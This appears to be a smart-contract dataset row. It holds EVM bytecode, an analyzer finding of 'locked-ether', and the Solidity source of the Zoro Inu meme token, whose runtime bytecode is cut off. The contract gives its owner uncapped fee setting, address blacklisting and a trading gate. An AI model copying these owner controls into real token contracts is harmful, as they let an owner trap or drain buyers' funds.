fffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561121157600080fd5b82018360208201111561122357600080fd5b8035906020019184600183028401116401000000008311171561124557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156112a857600080fd5b8201836020820111156112ba57600080fd5b803590602001918460018302840111640100000000831117156112dc57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561133f57600080fd5b82018360208201111561135157600080fd5b8035906020019184600183028401116401000000008311171561137357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156113d657600080fd5b8201836020820111156113e857600080fd5b8035906020019184600183028401116401000000008311171561140a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050612971565b604051808215151515815260200191505060405180910390f35b34801561148c57600080fd5b506114cf600480360360208110156114a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b94565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115675780601f1061153c57610100808354040283529160200191611567565b820191906000526020600020905b81548152906001019060200180831161154a57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006116b7600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600554612c3390919063ffffffff16565b905090565b600061171082600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c3390919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117e282600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c3390919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c4f90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b60008083836040516020018083805190602001908083835b6020831015156119bd5780518252602082019150602081019050602083039250611998565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083101515611a1057805182526020820191506020810190506020830392506119eb565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040528051906020012090508060005260005191508191505092915050565b600060608590506000611a748585611980565b9050600086111515611a8557600080fd5b611a90818789611e92565b50611aa1898760018b030289611e92565b506001925050509695505050505050565b600085600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925886040518082815260200191505060405180910390a37fe5ae796fdc808759c7717d80ea9b8ad2555fdf89275a926d9e084b33f1e034bc6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff168888604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1600190509695505050505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d4f57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611ee683600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c3390919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7b83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c4f90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120e95780601f106120be576101008083540402835291602001916120e9565b820191906000526020600020905b8154815290600101906020018083116120cc57829003601f168201915b505050505081565b6000606082905061214a84600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c3390919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121df84600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c4f90919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b60006122e782600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c3390919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237c82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c4f90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600060608390506064831115151561244557600080fd5b6124a8606484606403870281151561245957fe5b04600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c3390919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125038660648588028115156124fd57fe5b04612293565b506001915050949350505050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156126ee5780820151818401526020810190506126d3565b50505050905090810190601f16801561271b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561273d57600080fd5b505af1158015612751573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127e357600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156128a757600080fd5b505af11580156128bb573d6000803e3d6000fd5b505050506040513d60208110156128d157600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006129c587600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c3390919063ffffffff16565b600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612adc87600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c4f90919063ffffffff16565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef896040518082815260200191505060405180910390a36001905098975050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612bef57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515612c4457600080fd5b818303905092915050565b60008183019050828110151515612c6557600080fd5b9291505056fea165627a7a723058202efe3a1d67287eb954b35539699c40d20dc499b1d845184e515d400a46196f4d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,593 |
0x213035d59907c40e1da7e38b16690c919c95b918
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/*
“I'm going to be the world's greatest swordsman! All I have left is my destiny! My name may be infamous...but it's gonna shake the world!!!” - Roronoa Zoro
Telegram: t.me/ZoroInuEth
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ZoroInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Zoro Inu";
string private constant _symbol = "ZORO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 5;
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _redisFeeOnSell = 5;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0x0DC60fb569B64987f377d134173199bE9875a457);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000000000 * 10**9; //1
uint256 public _maxWalletSize = 4000000000000 * 10**9; //2
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610528578063c3c8cd8014610558578063dd62ed3e1461056d578063ea1644d5146105b357600080fd5b806398a5c31514610498578063a2a957bb146104b8578063a9059cbb146104d8578063bdd795ef146104f857600080fd5b80638da5cb5b116100d15780638da5cb5b146104175780638f70ccf7146104355780638f9a55c01461045557806395d89b411461046b57600080fd5b8063715018a6146103cc57806374010ece146103e15780637d1db4a51461040157600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103575780636d8aa8f8146103775780636fc3eaec1461039757806370a08231146103ac57600080fd5b80632fd689e314610305578063313ce5671461031b57806349bd5a5e1461033757600080fd5b80631694505e116101a05780631694505e1461026657806318160ddd1461029e57806323b872dd146102c55780632f9c4569146102e557600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023657600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec36600461191d565b6105d3565b005b3480156101ff57600080fd5b506040805180820190915260088152675a6f726f20496e7560c01b60208201525b60405161022d9190611a47565b60405180910390f35b34801561024257600080fd5b506102566102513660046118f2565b610680565b604051901515815260200161022d565b34801561027257600080fd5b50601454610286906001600160a01b031681565b6040516001600160a01b03909116815260200161022d565b3480156102aa57600080fd5b5069152d02c7e14af68000005b60405190815260200161022d565b3480156102d157600080fd5b506102566102e036600461187e565b610697565b3480156102f157600080fd5b506101f16103003660046118be565b610700565b34801561031157600080fd5b506102b760185481565b34801561032757600080fd5b506040516009815260200161022d565b34801561034357600080fd5b50601554610286906001600160a01b031681565b34801561036357600080fd5b506101f161037236600461180e565b6107c4565b34801561038357600080fd5b506101f16103923660046119e4565b61080f565b3480156103a357600080fd5b506101f1610857565b3480156103b857600080fd5b506102b76103c736600461180e565b610884565b3480156103d857600080fd5b506101f16108a6565b3480156103ed57600080fd5b506101f16103fc3660046119fe565b61091a565b34801561040d57600080fd5b506102b760165481565b34801561042357600080fd5b506000546001600160a01b0316610286565b34801561044157600080fd5b506101f16104503660046119e4565b610949565b34801561046157600080fd5b506102b760175481565b34801561047757600080fd5b506040805180820190915260048152635a4f524f60e01b6020820152610220565b3480156104a457600080fd5b506101f16104b33660046119fe565b610991565b3480156104c457600080fd5b506101f16104d3366004611a16565b6109c0565b3480156104e457600080fd5b506102566104f33660046118f2565b6109fe565b34801561050457600080fd5b5061025661051336600461180e565b60116020526000908152604090205460ff1681565b34801561053457600080fd5b5061025661054336600461180e565b60106020526000908152604090205460ff1681565b34801561056457600080fd5b506101f1610a0b565b34801561057957600080fd5b506102b7610588366004611846565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105bf57600080fd5b506101f16105ce3660046119fe565b610a41565b6000546001600160a01b031633146106065760405162461bcd60e51b81526004016105fd90611a9a565b60405180910390fd5b60005b815181101561067c5760016010600084848151811061063857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067481611bad565b915050610609565b5050565b600061068d338484610a70565b5060015b92915050565b60006106a4848484610b94565b6106f684336106f185604051806060016040528060288152602001611c0a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611097565b610a70565b5060019392505050565b6000546001600160a01b0316331461072a5760405162461bcd60e51b81526004016105fd90611a9a565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107995760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105fd565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107ee5760405162461bcd60e51b81526004016105fd90611a9a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108395760405162461bcd60e51b81526004016105fd90611a9a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461087757600080fd5b47610881816110d1565b50565b6001600160a01b0381166000908152600260205260408120546106919061110b565b6000546001600160a01b031633146108d05760405162461bcd60e51b81526004016105fd90611a9a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109445760405162461bcd60e51b81526004016105fd90611a9a565b601655565b6000546001600160a01b031633146109735760405162461bcd60e51b81526004016105fd90611a9a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109bb5760405162461bcd60e51b81526004016105fd90611a9a565b601855565b6000546001600160a01b031633146109ea5760405162461bcd60e51b81526004016105fd90611a9a565b600893909355600a91909155600955600b55565b600061068d338484610b94565b6013546001600160a01b0316336001600160a01b031614610a2b57600080fd5b6000610a3630610884565b90506108818161118f565b6000546001600160a01b03163314610a6b5760405162461bcd60e51b81526004016105fd90611a9a565b601755565b6001600160a01b038316610ad25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610